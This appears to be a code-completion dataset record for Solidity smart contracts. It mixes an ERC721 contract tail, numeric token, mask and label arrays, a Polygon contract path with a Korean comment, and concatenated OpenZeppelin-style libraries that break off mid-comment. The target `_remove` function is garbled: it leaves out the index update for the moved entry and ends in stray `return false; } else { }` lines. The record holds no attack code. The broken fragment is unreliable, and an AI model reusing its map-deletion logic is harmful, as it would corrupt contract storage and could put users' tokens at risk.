return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
function baseURI() public view returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint index) public view override returns (uint) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view override returns (uint) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
function tokenByIndex(uint index) public view override returns (uint) {
(uint tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function isContract(address _addr) private returns (bool isContract){
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function _safeMint(address to, uint tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
if (isContract(to)) {
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
}
function _mint(address to, uint tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint tokenId, bytes memory _data)
private returns (bool)
{
(bool success, bytes memory returndata) = to.call{value:0}(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
msg.sender,
from,
tokenId,
_data
));
require(success, "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint tokenId) internal virtual {}
}
|
We read and store the key's index to prevent multiple reads from the same storage slot To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one in the array, and then remove the last entry (sometimes called as 'swap and pop'). This modifies the order of the array, as noted in {at}. When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. Move the last entry to the index where the entry to delete is Update the index for the moved entry Delete the slot where the moved entry was stored Delete the index for the deleted slot
|
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint keyIndex = map._indexes[key];
uint toDeleteIndex = keyIndex - 1;
uint lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._entries.pop();
delete map._indexes[key];
return true;
return false;
} else {
}
| 6,352,359 |
[
1,
3218,
855,
471,
1707,
326,
498,
1807,
770,
358,
5309,
3229,
6838,
628,
326,
1967,
2502,
4694,
2974,
1430,
279,
498,
17,
1132,
3082,
628,
326,
389,
8219,
526,
316,
531,
12,
21,
3631,
732,
7720,
326,
1241,
358,
1430,
598,
326,
1142,
1245,
316,
326,
526,
16,
471,
1508,
1206,
326,
1142,
1241,
261,
87,
25976,
2566,
487,
296,
22270,
471,
1843,
16063,
1220,
23934,
326,
1353,
434,
326,
526,
16,
487,
486,
329,
316,
288,
270,
5496,
5203,
326,
1241,
358,
1430,
353,
326,
1142,
1245,
16,
326,
7720,
1674,
353,
19908,
18,
10724,
16,
3241,
333,
9938,
1427,
25671,
715,
16,
732,
4859,
741,
326,
7720,
13466,
358,
4543,
326,
16189,
6991,
434,
6534,
392,
296,
430,
11,
3021,
18,
9933,
326,
1142,
1241,
358,
326,
770,
1625,
326,
1241,
358,
1430,
353,
2315,
326,
770,
364,
326,
10456,
1241,
2504,
326,
4694,
1625,
326,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
445,
389,
4479,
12,
863,
2502,
852,
16,
1731,
1578,
498,
13,
3238,
1135,
261,
6430,
13,
288,
203,
3639,
2254,
498,
1016,
273,
852,
6315,
11265,
63,
856,
15533,
203,
203,
203,
5411,
2254,
358,
2613,
1016,
273,
498,
1016,
300,
404,
31,
203,
5411,
2254,
7536,
273,
852,
6315,
8219,
18,
2469,
300,
404,
31,
203,
203,
203,
5411,
1635,
1622,
2502,
1142,
1622,
273,
852,
6315,
8219,
63,
2722,
1016,
15533,
203,
203,
5411,
852,
6315,
8219,
63,
869,
2613,
1016,
65,
273,
1142,
1622,
31,
203,
203,
5411,
852,
6315,
8219,
18,
5120,
5621,
203,
203,
5411,
1430,
852,
6315,
11265,
63,
856,
15533,
203,
203,
5411,
327,
638,
31,
203,
5411,
327,
629,
31,
203,
3639,
289,
469,
288,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x9B5C7A09Ac801f964cBE302eD2c1668E3Da61A2B/sources/project_/contracts/nft/MembershipToken.sol
|
account가 소유한 토큰의 개수
|
uint256 count = 0;
| 861,222 |
[
1,
4631,
171,
113,
227,
225,
173,
233,
239,
173,
255,
259,
174,
248,
255,
225,
174,
233,
259,
174,
228,
113,
173,
256,
251,
225,
171,
113,
255,
173,
235,
251,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
1056,
273,
374,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts/common/Initializable.sol
pragma solidity ^0.8.0;
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
// File: contracts/common/EIP712Base.sol
pragma solidity ^0.8.0;
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contracts that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// File: contracts/common/ContextMixin.sol
pragma solidity ^0.8.0;
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = payable(msg.sender);
}
return sender;
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: contracts/common/NativeMetaTransaction.sol
pragma solidity ^0.8.0;
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
payable(msg.sender),
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
